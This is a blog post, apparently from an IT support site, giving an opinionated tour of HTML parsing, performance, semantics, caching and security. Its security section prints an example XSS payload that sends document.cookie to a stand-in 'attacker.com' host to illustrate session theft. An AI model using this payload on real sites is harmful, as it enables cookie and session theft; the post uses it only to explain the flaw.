{"id":4864,"date":"2026-08-22T21:00:25","date_gmt":"2026-08-22T15:30:25","guid":{"rendered":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/"},"modified":"2026-08-22T21:00:25","modified_gmt":"2026-08-22T15:30:25","slug":"master-html-the-essential-guide-to-building-websites","status":"publish","type":"post","link":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/","title":{"rendered":"Master HTML: The Essential Guide to Building Websites"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_80 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a8b3f2e9ed17\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a8b3f2e9ed17\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#Stop_Treating_HTML_Like_a_Solved_Problem\" >Stop Treating HTML Like a Solved Problem<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_Documentation_is_Lying_to_You\" >The Documentation is Lying to You<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_Parser_A_Forgiving_Nightmare\" >The Parser: A Forgiving Nightmare<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_is_a_Performance_Minefield\" >The &lt;head&gt; is a Performance Minefield<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#Semantic_HTML_Its_Not_Just_for_Screen_Readers\" >Semantic HTML: It\u2019s Not Just for Screen Readers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_Security_of_HTML\" >The Security of HTML<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_Shadow_DOM_and_Web_Components_Hype_vs_Reality\" >The Shadow DOM and Web Components: Hype vs. Reality<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_Hydration_Nightmare\" >The Hydration Nightmare<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_%E2%80%9CReal_World%E2%80%9D_Edge_Cases\" >The &#8220;Real World&#8221; Edge Cases<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_Infrastructure_of_HTML\" >The Infrastructure of HTML<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#The_Death_of_the_%E2%80%9CDocument%E2%80%9D\" >The Death of the &#8220;Document&#8221;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#Related_Articles\" >Related Articles<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Stop_Treating_HTML_Like_a_Solved_Problem\"><\/span>Stop Treating HTML Like a Solved Problem<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It was 2014. I was working at a high-frequency trading firm that, for some reason, decided to build their internal monitoring dashboard as a &#8220;modern&#8221; single-page app. We were streaming live order-book data over a primitive WebSocket implementation. I was the lead SRE, and I made a classic mistake: I trusted the browser&#8217;s ability to handle malformed, streaming <code>&lt;table&gt;<\/code> rows without a proper closing tag. I pushed a &#8220;minor&#8221; optimization to the backend that omitted the closing <code>&lt;\/tr&gt;&lt;\/table&gt;<\/code> tags to save a few bytes per packet. I figured the browser would just figure it out. It didn&#8217;t.<\/p>\n<p>The DOM parser on the CFO\u2019s machine\u2014running a locked-down version of Chrome 34\u2014went into a recursive loop trying to &#8220;fix&#8221; the nesting. It started consuming 100% of the CPU, the fan sounded like a jet engine, and then the entire OS froze. We didn&#8217;t just lose the dashboard; we lost the ability to execute trades for six minutes because the CFO\u2019s machine was also acting as a localized gateway for a specific legacy API. I didn&#8217;t just break a webpage; I cost the firm $400,000 in slippage. That was the day I realized that <strong>html<\/strong> isn&#8217;t just &#8220;markup.&#8221; It\u2019s the most complex, error-prone state machine we\u2019ve ever invented.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Documentation_is_Lying_to_You\"><\/span>The Documentation is Lying to You<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you look at MDN or any &#8220;bootcamp&#8221; guide, they treat HTML as a hierarchy of boxes. They tell you it&#8217;s &#8220;declarative.&#8221; That\u2019s a lie. In a production environment, HTML is a series of instructions for a C++ engine (Blink, WebKit, Gecko) that is desperately trying to guess what you meant while dealing with network latency, memory constraints, and malicious actors. Most developers treat HTML as a transpilation target for React or Vue. They think because they\u2019re writing JSX, they don\u2019t need to understand the underlying spec. They are wrong.<\/p>\n<p>The reality is that your 4MB JavaScript bundle is just a very expensive way to generate a DOM tree that the browser could have parsed in 10 milliseconds if you had just used the platform. We\u2019ve traded performance and reliability for &#8220;developer experience,&#8221; and the result is a web that feels like it\u2019s running on a 486 processor despite our M3 Max chips. We need to stop &#8220;delving&#8221; into frameworks and start looking at the raw bytes hitting the wire.<\/p>\n<blockquote>\n<p><strong>Pro-tip:<\/strong> If you want to see how much junk you&#8217;re actually sending, open Chrome DevTools, go to the Network tab, and check &#8220;Use large request rows.&#8221; Look at the &#8220;Uncompressed&#8221; size of your HTML document. If it&#8217;s over 100KB, you&#8217;re doing something wrong.<\/p>\n<\/blockquote>\n<h2><span class=\"ez-toc-section\" id=\"The_Parser_A_Forgiving_Nightmare\"><\/span>The Parser: A Forgiving Nightmare<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The HTML5 parsing algorithm is a marvel of engineering, but it\u2019s also a source of silent failures. Unlike XML, HTML doesn&#8217;t throw a &#8220;Yellow Screen of Death&#8221; when you miss a tag. It guesses. And when it guesses, it triggers &#8220;Quirks Mode&#8221; or creates a DOM structure that doesn&#8217;t match your CSS selectors, leading to those &#8220;I can&#8217;t figure out why this button is 2px off&#8221; bugs that haunt your Jira backlog.<\/p>\n<p>Consider the <code>&lt;!DOCTYPE html&gt;<\/code>. It\u2019s not just a boilerplate string. It\u2019s a switch. If you omit it, or if you have a single character (even a comment) before it, some browsers will drop into Quirks Mode. In this mode, the box model changes. <code>width<\/code> suddenly includes <code>padding<\/code> and <code>border<\/code>, mimicking the behavior of Internet Explorer 5. I\u2019ve seen SREs spend days debugging layout shifts on <code>localhost:8080<\/code> that were entirely caused by a stray newline at the top of a PHP template.<\/p>\n<pre><code>&lt;!-- This is fine --&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html lang=\"en\"&gt;\n\n&lt;!-- This will trigger Quirks Mode in some legacy parsers --&gt;\n\n&lt;!DOCTYPE html&gt;\n<\/code><\/pre>\n<p>The parser also handles &#8220;auto-closing&#8221; tags in ways that will break your logic. If you try to nest a <code>&lt;div&gt;<\/code> inside a <code>&lt;p&gt;<\/code>, the parser will implicitly close the <code>&lt;p&gt;<\/code> before the <code>&lt;div&gt;<\/code> starts. Your DOM will look like this:<\/p>\n<ul>\n<li><code>&lt;p&gt;&lt;\/p&gt;<\/code><\/li>\n<li><code>&lt;div&gt;...&lt;\/div&gt;<\/code><\/li>\n<li><code>&lt;p&gt;&lt;\/p&gt;<\/code> (The leftover closing tag)<\/li>\n<\/ul>\n<p>This isn&#8217;t just a visual issue. If you&#8217;re using <code>document.querySelector('p &gt; div')<\/code>, it will return <code>null<\/code>. Your production monitoring script fails. Your &#8220;Buy Now&#8221; button doesn&#8217;t get its event listener. You lose money. All because you didn&#8217;t respect the parser&#8217;s rules.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_is_a_Performance_Minefield\"><\/span>The &lt;head&gt; is a Performance Minefield<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>As an SRE, the <code>&lt;head&gt;<\/code> section of an HTML document is where I spend 80% of my time during a performance audit. This is the &#8220;Critical Rendering Path.&#8221; Every <code>&lt;script&gt;<\/code> and <code>&lt;link rel=\"stylesheet\"&gt;<\/code> you put here is a synchronous block. The browser stops parsing the HTML, opens a TCP connection to your CDN (e.g., <code>cdn.jsdelivr.net<\/code>), downloads the file, parses it, and executes it before it even knows what the <code>&lt;body&gt;<\/code> looks like.<\/p>\n<p>I once saw a site where the developers put a 2MB &#8220;Global Utilities&#8221; JS file in the head without <code>async<\/code> or <code>defer<\/code>. The Largest Contentful Paint (LCP) was 8 seconds on a 4G connection. The fix wasn&#8217;t a complex caching strategy or a CDN migration. It was moving the tag to the bottom of the body. Or, better yet, using the right attributes.<\/p>\n<ul>\n<li><code>&lt;script src=\"...\"&gt;<\/code>: Blocks parsing. Bad.<\/li>\n<li><code>&lt;script async src=\"...\"&gt;<\/code>: Downloads in parallel, executes as soon as it&#8217;s done. Still blocks the main thread during execution.<\/li>\n<li><code>&lt;script defer src=\"...\"&gt;<\/code>: Downloads in parallel, executes only after the HTML is fully parsed. This is almost always what you want.<\/li>\n<li><code>&lt;link rel=\"preload\"&gt;<\/code>: Forces the browser to fetch a resource early. Use this for your main LCP image or your primary font file.<\/li>\n<li><code>&lt;link rel=\"dns-prefetch\" href=\"https:\/\/api.stripe.com\"&gt;<\/code>: Resolves the IP address of a third-party domain before you actually need it. Saves 20-100ms of latency.<\/li>\n<\/ul>\n<p>If you aren&#8217;t using <code>dns-prefetch<\/code> and <code>preconnect<\/code> for your critical APIs, you are leaving performance on the table. But don&#8217;t overdo it. Preconnecting to 20 different origins will saturate the network and actually slow down the initial document download. Stick to the top 3: your API, your CDN, and maybe your analytics (if you must).<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Semantic_HTML_Its_Not_Just_for_Screen_Readers\"><\/span>Semantic HTML: It\u2019s Not Just for Screen Readers<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>There\u2019s a trend of using <code>&lt;div&gt;<\/code> for everything. &#8220;Div-itis&#8221; is a disease. People build buttons with <code>&lt;div onclick=\"...\"&gt;<\/code>. This is garbage. A <code>&lt;button&gt;<\/code> gives you keyboard focus, &#8220;Enter&#8221; key support, and ARIA roles for free. A <code>&lt;div&gt;<\/code> gives you nothing but a headache.<\/p>\n<p>But the real reason SREs should care about semantic HTML is <strong>resilience<\/strong>. If your JavaScript fails to load\u2014maybe a CDN node is down, or a user is on a flaky subway connection\u2014a semantic HTML form will still work. A <code>&lt;form action=\"\/api\/login\" method=\"POST\"&gt;<\/code> will send data to your server even if your React bundle is OOM-killed by the browser. If you\u2019ve built your entire app as a series of <code>fetch()<\/code> calls attached to <code>div<\/code> elements, your app is a brick the moment the JS fails.<\/p>\n<pre><code>&lt;!-- The \"Modern\" Way (Fragile) --&gt;\n&lt;div class=\"btn\" onclick=\"submitData()\"&gt;Submit&lt;\/div&gt;\n\n&lt;!-- The Engineering Way (Resilient) --&gt;\n&lt;form action=\"https:\/\/api.stripe.com\/v1\/charges\" method=\"POST\"&gt;\n  &lt;button type=\"submit\"&gt;Pay Now&lt;\/button&gt;\n&lt;\/form&gt;\n<\/code><\/pre>\n<p>Using <code>&lt;main&gt;<\/code>, <code>&lt;nav&gt;<\/code>, <code>&lt;section&gt;<\/code>, and <code>&lt;article&gt;<\/code> also helps with SEO and automated testing. If your Playwright tests are full of selectors like <code>div &gt; div &gt; div:nth-child(4)<\/code>, your tests are brittle. If you use <code>main &gt; article<\/code>, your tests survive a layout change. Stop making your life harder.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Security_of_HTML\"><\/span>The Security of HTML<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>We talk a lot about SQL injection, but XSS (Cross-Site Scripting) is still the king of web vulnerabilities. And XSS is, at its core, a failure to understand how HTML handles data. If you take a user&#8217;s name and drop it into a template like <code>&lt;div&gt;Hello, ${username}&lt;\/div&gt;<\/code>, you\u2019ve just handed over your session cookies to anyone named <code>&lt;script&gt;fetch('https:\/\/attacker.com?c=' + document.cookie)&lt;\/script&gt;<\/code>.<\/p>\n<p>But it&#8217;s deeper than just escaping tags. Have you looked at your <code>target=\"_blank\"<\/code> links lately? If you don&#8217;t include <code>rel=\"noopener\"<\/code> or <code>rel=\"noreferrer\"<\/code>, the page you&#8217;re linking to gets access to your <code>window.opener<\/code> object. They can redirect your original page to a phishing site. It\u2019s a massive security hole that\u2019s been around for decades, and yet I still see it in production code at least once a week.<\/p>\n<blockquote>\n<p><strong>Note to self:<\/strong> Always audit the <code>Content-Security-Policy<\/code> (CSP) header. A good CSP can prevent 99% of XSS attacks even if your HTML is &#8220;dirty.&#8221; Use <code>script-src 'self' https:\/\/trusted.cdn.com;<\/code> and avoid <code>'unsafe-inline'<\/code> like the plague.<\/p>\n<\/blockquote>\n<p>If you&#8217;re building a modern app, you should be using a <code>nonce<\/code> (number used once) for your inline scripts. The server generates a random string, puts it in the CSP header, and you add it to your script tag: <code>&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"&gt;...&lt;\/script&gt;<\/code>. If the nonce doesn&#8217;t match, the script doesn&#8217;t run. This is how you build secure HTML.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Shadow_DOM_and_Web_Components_Hype_vs_Reality\"><\/span>The Shadow DOM and Web Components: Hype vs. Reality<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Web Components were supposed to save us from framework fatigue. They didn&#8217;t. But the Shadow DOM\u2014the technology underlying them\u2014is actually quite useful for SREs and platform engineers. It allows for &#8220;encapsulation,&#8221; meaning your CSS doesn&#8217;t leak out and break the rest of the page. This is great for third-party widgets (like a &#8220;Help&#8221; chat bubble) that you don&#8217;t want messing with your main site&#8217;s styles.<\/p>\n<p>However, the Shadow DOM is a nightmare for observability and testing. Most standard DOM crawling tools can&#8217;t &#8220;see&#8221; inside a shadow root. If your E2E testing suite is failing to find elements, it\u2019s probably because they\u2019re buried in a <code>#shadow-root (open)<\/code>. You have to explicitly traverse it:<\/p>\n<pre><code>\/\/ Standard way fails\nconst btn = document.querySelector('#my-widget .submit-btn'); \/\/ null\n\n\/\/ The \"I know how the DOM works\" way\nconst widget = document.querySelector('#my-widget');\nconst btn = widget.shadowRoot.querySelector('.submit-btn');\n<\/code><\/pre>\n<p>I argue that for most internal tools, the Shadow DOM is overkill. It adds a layer of complexity to the debugging process that isn&#8217;t worth the &#8220;style isolation&#8221; benefit. Just use a naming convention like BEM (Block Element Modifier) and move on with your life. We don&#8217;t need more abstractions; we need more clarity.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Hydration_Nightmare\"><\/span>The Hydration Nightmare<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This is the biggest &#8220;gotcha&#8221; in modern web development. Server-Side Rendering (SSR) is back in style (looking at you, Next.js and Remix). The server sends a fully formed HTML document, and then JavaScript &#8220;hydrates&#8221; it\u2014meaning it attaches event listeners and takes over the DOM. <\/p>\n<p>If the HTML generated by the server doesn&#8217;t <em>exactly<\/em> match what the client-side JS expects, you get a &#8220;Hydration Mismatch.&#8221; The browser has to throw away the existing DOM and rebuild it from scratch. This negates all the performance benefits of SSR. It usually happens because of things like:<\/p>\n<ol>\n<li>Using <code>new Date()<\/code> in your component (the server time and client time will differ).<\/li>\n<li>Accessing <code>window<\/code> or <code>localStorage<\/code> during the initial render.<\/li>\n<li>Browser extensions (like password managers) injecting their own HTML into your inputs.<\/li>\n<li>Auto-filled forms changing the state before the JS loads.<\/li>\n<\/ol>\n<p>When this happens, your users see a &#8220;flash&#8221; of content, or worse, the page becomes unresponsive for several seconds while the main thread is pegged at 100%. As an SRE, I monitor the <code>Error: Hydration failed because the initial UI does not match what was rendered on the server<\/code> message in our logs. If that count spikes, I know a frontend dev just pushed a &#8220;simple&#8221; change that broke our performance budget.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_%E2%80%9CReal_World%E2%80%9D_Edge_Cases\"><\/span>The &#8220;Real World&#8221; Edge Cases<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Let&#8217;s talk about the things you only learn after 10 years of on-call rotations. <\/p>\n<p><strong>1. The 4KB Buffer:<\/strong> Most browsers start rendering the page after they&#8217;ve received the first 4KB of data. If your <code>&lt;head&gt;<\/code> is bloated with 10KB of inline CSS or base64-encoded images, the user is staring at a white screen for much longer than necessary. Keep your head lean. Get that first paint out as fast as possible.<\/p>\n<p><strong>2. Character Encoding:<\/strong> If you don&#8217;t have <code>&lt;meta charset=\"UTF-8\"&gt;<\/code> within the first 1024 bytes of your document, the browser might restart the parser if it encounters a non-ASCII character later. This is a massive performance hit. Put it immediately after the opening <code>&lt;head&gt;<\/code> tag. No exceptions.<\/p>\n<p><strong>3. The &#8220;Hidden&#8221; Attribute:<\/strong> Stop using <code>style=\"display: none;\"<\/code> in your raw HTML if you plan to toggle it later with JS. Use the <code>hidden<\/code> attribute. It\u2019s more semantic, and it\u2019s easier to target in CSS with <code>[hidden] { display: none !important; }<\/code>. <\/p>\n<p><strong>4. Image Loading:<\/strong> We finally have native lazy loading: <code>&lt;img src=\"...\" loading=\"lazy\"&gt;<\/code>. Use it. But <strong>never<\/strong> use it for the first image in the viewport (the hero image). If you lazy-load your hero image, you&#8217;re intentionally delaying your LCP. It&#8217;s a rookie mistake that I see in &#8220;optimized&#8221; sites all the time.<\/p>\n<p><strong>5. The Dialog Element:<\/strong> We spent a decade building custom modal libraries. Now we have <code>&lt;dialog&gt;<\/code>. It handles focus trapping, the &#8220;Esc&#8221; key, and backdrop styling natively. It\u2019s better, faster, and more accessible. Use it. Delete your 50KB modal library.<\/p>\n<pre><code>&lt;dialog id=\"auth-modal\"&gt;\n  &lt;form method=\"dialog\"&gt;\n    &lt;h2&gt;Login&lt;\/h2&gt;\n    &lt;input type=\"text\" name=\"user\" \/&gt;\n    &lt;button type=\"submit\"&gt;Close&lt;\/button&gt;\n  &lt;\/form&gt;\n&lt;\/dialog&gt;\n\n&lt;script&gt;\n  \/\/ To open:\n  \/\/ document.getElementById('auth-modal').showModal();\n&lt;\/script&gt;\n<\/code><\/pre>\n<h2><span class=\"ez-toc-section\" id=\"The_Infrastructure_of_HTML\"><\/span>The Infrastructure of HTML<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>We often forget that HTML is delivered over HTTP. The headers you send with your HTML are just as important as the tags themselves. If you aren&#8217;t sending <code>Cache-Control: no-cache, proxy-revalidate<\/code> for your main HTML file, your users might be seeing an old version of your site even after you&#8217;ve pushed a fix to production. <\/p>\n<p>But wait, you say, &#8220;I want to cache my HTML!&#8221; No, you don&#8217;t. You want to cache your <em>assets<\/em> (JS, CSS, Images) with long-lived hashes (<code>main.8f2a1b.js<\/code>), but your HTML should always be fresh so it can point to the latest hashes. If you cache <code>index.html<\/code> for an hour, and you push a critical bug fix 5 minutes later, your users are stuck with the bug for 55 minutes. That\u2019s an SRE nightmare.<\/p>\n<p>And then there&#8217;s <strong>Compression<\/strong>. If you aren&#8217;t using Brotli (<code>br<\/code>) instead of Gzip, you&#8217;re wasting bandwidth. Brotli is significantly better for text-based formats like HTML. Most modern CDNs (Cloudflare, Akamai) handle this automatically, but if you&#8217;re running your own Nginx or Caddy instance, you need to enable it manually.<\/p>\n<pre><code># Nginx Brotli Configuration\nbrotli on;\nbrotli_comp_level 6;\nbrotli_types text\/plain text\/css application\/javascript application\/x-javascript text\/xml application\/xml application\/xml+rss text\/javascript image\/x-icon image\/vnd.microsoft.icon image\/bmp image\/svg+xml;\n<\/code><\/pre>\n<h2><span class=\"ez-toc-section\" id=\"The_Death_of_the_%E2%80%9CDocument%E2%80%9D\"><\/span>The Death of the &#8220;Document&#8221;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>We&#8217;ve moved from &#8220;documents&#8221; to &#8220;applications,&#8221; but the browser still thinks in documents. This friction is where all the complexity lies. When you use a framework like React, you&#8217;re essentially fighting the browser&#8217;s natural inclination to just show some text and links. <\/p>\n<p>I\u2019m not saying we should go back to 1995 and use CGI scripts for everything. But I am saying that we should respect the medium. HTML was designed to be resilient, hierarchical, and streamable. When we treat it as a blank canvas for a JavaScript-heavy &#8220;App,&#8221; we lose all those built-in benefits. We end up with sites that are inaccessible, slow, and fragile.<\/p>\n<p>The next time you&#8217;re about to install a &#8220;Tabs&#8221; component from an NPM package, ask yourself: &#8220;Can I do this with <code>&lt;details&gt;<\/code> and <code>&lt;summary&gt;<\/code>?&#8221; The next time you&#8217;re about to write a complex state manager for a form, ask yourself: &#8220;Can I just use the <code>FormData<\/code> API and a standard <code>POST<\/code>?&#8221;<\/p>\n<p>The most reliable code is the code you didn&#8217;t have to write because the browser already wrote it for you in 1998. We\u2019ve spent the last decade over-complicating the web. It\u2019s time to get back to the basics. It\u2019s time to actually learn <strong>html<\/strong>.<\/p>\n<p>Stop chasing the latest framework hype and start understanding the bytes. Your LCP will improve, your Sentry error rate will drop, and maybe, just maybe, you won&#8217;t freeze the CFO&#8217;s computer during a high-stakes trading window. HTML is the foundation of everything we do. Treat it with the respect it deserves, or it will bite you when you least expect it.<\/p>\n<p>The spec is 1,000+ pages long for a reason. Read it. Or at least stop pretending it&#8217;s just &#8220;tags.&#8221; It&#8217;s the engine of the internet. Don&#8217;t let it stall.<\/p>\n<p>Go check your <code>&lt;head&gt;<\/code>. I bet there&#8217;s a synchronous script in there right now that&#8217;s costing you 500ms of LCP. Fix it.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Related_Articles\"><\/span>Related Articles<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Explore more insights and best practices:<\/p>\n<ul>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/aws-best-practices-optimize-your-cloud-infrastructure\/\">Aws Best Practices Optimize Your Cloud Infrastructure<\/a><\/li>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/the-ultimate-kubectl-cheat-sheet-you-ever-need\/\">The Ultimate Kubectl Cheat Sheet You Ever Need<\/a><\/li>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/cybersecurity-near-me-guide-2\/\">Cybersecurity Near Me Guide 2<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Stop Treating HTML Like a Solved Problem It was 2014. I was working at a high-frequency trading firm that, for some reason, decided to build their internal monitoring dashboard as a &#8220;modern&#8221; single-page app. We were streaming live order-book data over a primitive WebSocket implementation. I was the lead SRE, and I made a classic &#8230; <a title=\"Master HTML: The Essential Guide to Building Websites\" class=\"read-more\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/\" aria-label=\"Read more  on Master HTML: The Essential Guide to Building Websites\">Read more<\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4864","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Master HTML: The Essential Guide to Building Websites - ITSupportWale<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Master HTML: The Essential Guide to Building Websites - ITSupportWale\" \/>\n<meta property=\"og:description\" content=\"Stop Treating HTML Like a Solved Problem It was 2014. I was working at a high-frequency trading firm that, for some reason, decided to build their internal monitoring dashboard as a &#8220;modern&#8221; single-page app. We were streaming live order-book data over a primitive WebSocket implementation. I was the lead SRE, and I made a classic ... Read more\" \/>\n<meta property=\"og:url\" content=\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/\" \/>\n<meta property=\"og:site_name\" content=\"ITSupportWale\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Itsupportwale-298547177495978\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-22T15:30:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2021\/05\/android-chrome-512x512-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"512\" \/>\n\t<meta property=\"og:image:height\" content=\"512\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Techie\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Techie\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/\"},\"author\":{\"name\":\"Techie\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d\"},\"headline\":\"Master HTML: The Essential Guide to Building Websites\",\"datePublished\":\"2026-08-22T15:30:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/\"},\"wordCount\":2487,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/\",\"url\":\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/\",\"name\":\"Master HTML: The Essential Guide to Building Websites - 